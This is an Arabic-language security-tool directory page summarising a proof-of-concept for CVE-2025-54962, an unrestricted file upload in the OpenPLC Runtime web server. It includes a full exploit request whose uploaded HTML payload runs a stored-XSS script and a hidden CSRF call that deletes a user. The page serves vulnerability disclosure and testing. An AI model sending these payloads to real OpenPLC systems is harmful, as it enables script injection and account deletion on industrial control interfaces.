Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-54962 — المستخدمون الموثقون يمكنهم رفع ملفات عشوائية (مثل .html, .svg) كصور للملف الشخصي في OpenPLC Runtime. هذه الملفات متاحة للجمهور بدون توثيق، مما يسمح بـ XSS مخزنة أو توصيل محتوى ضار. | Kitploit
أدوات/GitHubGitHub/eyodav/cve-2025-54962
تحليل الثغرات الأمنيةالاستغلالأمن SCADA/ICSاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubeyodav/cve-2025-54962

CVE-2025-54962

المستخدمون الموثقون يمكنهم رفع ملفات عشوائية (مثل .html, .svg) كصور للملف الشخصي في OpenPLC Runtime. هذه الملفات متاحة للجمهور بدون توثيق، مما يسمح بـ XSS مخزنة أو توصيل محتوى ضار.

عرض المستودع
منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

🔥 CVE-2025-54962 — تحميل ملف غير آمن في خادم الويب الخاص بـ OpenPLC Runtime

(OpenPLC Runtime ≤ 2024-12-31 — XSS مخزّن، CSRF)

📌 ملخص

اكتشفت ثغرة في خادم الويب الخاص بـ OpenPLC Runtime (الإصدار: 2024-12-31) تسمح للمستخدمين المُوثّقين برفع ملفات تعسفية (مثل .html، .svg) كصور ملف شخصي. يتم تخزين هذه الملفات في المجلد /static/ وتكون قابلة للوصول بدون توثيق، مما يتيح تنفيذ هجمات XSS مخزّنة أو سيناريوهات استضافة ضارة.


🧪 المكون المتأثر

  • المسار: /edit-user
  • المتأثر: وظيفة رفع الصور للملف الشخصي

⚠️ التأثير

  • رفع ملفات تعسفية مع التحقق غير الكافي من نوع MIME والامتداد
  • XSS مخزّن
  • استضافة محتوى ضار
  • الوصول غير المُوثّق إلى الملفات المرفوعة
  • CSRF

🎯 ناقل الهجوم

  1. يقوم المستخدم المُوثّق برفع ملف .html أو .svg كصورة ملف شخصي.
  2. يتم تخزين الملف في /static/ ويُعطى معرفًا متوقعًا (مثل http://localhost:8080/static/336029.html)
  3. يمكن لأي مستخدم (حتى غير المُوثّق) الوصول إلى الملف المرفوع مباشرةً.
  4. إذا كان الملف يحتوي على JavaScript أو أي كود ضار آخر، فسيتم تنفيذه في متصفح الضحية.

📸 الإثبات البصري للمفهوم

لوحة القيادة عند تشغيل PLC

dashboard.png

رفع ملف .html ضار

choose file.png

استخدام "جميع الملفات" لتجاوز مرشح الصور

file.png

تنفيذ الملف المرفوع من /static/

poc.png


🎞️ فيديوهات الإثبات

  • عرض أساسي للمفهوم
    poc de base.mp4

  • عرض الوصول غير المُوثّق
    unauthenticated.mp4

  • إثبات CSRF
    poc csrf.mp4


📤 مثال على طلب الاستغلال مع Burp Suite Repeater

root@kitploit:~
POST /edit-user HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 1397
Cache-Control: max-age=0
sec-ch-ua: 
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: [OpenPLC URL]
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryW3GoLRyFS7dyLS2B
User-Agent: [UA]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8080/edit-user?table_id=10
Accept-Encoding: gzip, deflate
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: session=[cookie]
Connection: close

------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_id"

10
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="full_name"

OpenPLC User
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_name"

openplc
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_email"

[email protected]
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_password"

mypasswordishere
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="file"; filename="poc cve.html"
Content-Type: text/html

<!DOCTYPE html>
<html>
<head>
  <title>PoC – Unfiltered Upload</title>
</head>
<body>
  <h1>Proof of Concept</h1>

  <p>Payload uploaded on vulnerable endpoint. If filtering is broken, executing script below proves stored XSS.</p>

  <h2>XSS Demo (auto-executed)</h2>
  <script>alert('PoC xss')</script>

  <h2>CSRF</h2>
  <img src="http://127.0.0.1:8080/delete-user?user_id=%5BUser%20ID%5D" style="display:none" />

  <h2>document.domain</h2>
  <p>Opened from: <script>document.write(document.domain)</script></p>

  <h2>Manual link to malicious HTML</h2>
  <a href="https://google.com/" target="_blank">Click to redirect on google.com</a>
</body>
</html>

------WebKitFormBoundaryW3GoLRyFS7dyLS2B--
تنزيل الأداة